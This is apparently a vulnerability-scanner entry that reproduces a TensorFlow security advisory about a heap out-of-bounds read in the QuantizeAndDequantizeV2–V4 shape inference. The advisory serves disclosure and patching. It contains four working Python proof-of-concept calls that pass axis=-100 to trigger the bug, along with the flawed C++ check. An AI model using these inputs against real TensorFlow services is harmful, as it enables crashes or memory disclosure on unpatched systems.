QID 980171: Python (pip) Security Update for tensorflow-gpu (GHSA-49rx-x2rw-pc6f)

Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

```python
import tensorflow as tf

@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
gradients=[1.0,1.0],
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
axis=-100)
return data

test()
```

```python
import tensorflow as tf

@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data

test()
```

```python
import tensorflow as tf

@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV3(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
narrow_range=False,
axis=-100)
return data

test()
```

```python
import tensorflow as tf

@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV2(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data

test()
```

In all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:

```cc
...
if (axis != -1) {
...
c->Dim(input, axis);
...
}
```

  • CVSS V3 rated as High - 7.1 severity.
  • CVSS V2 rated as Medium - 3.6 severity.
  • Solution
    We have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d).

    The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
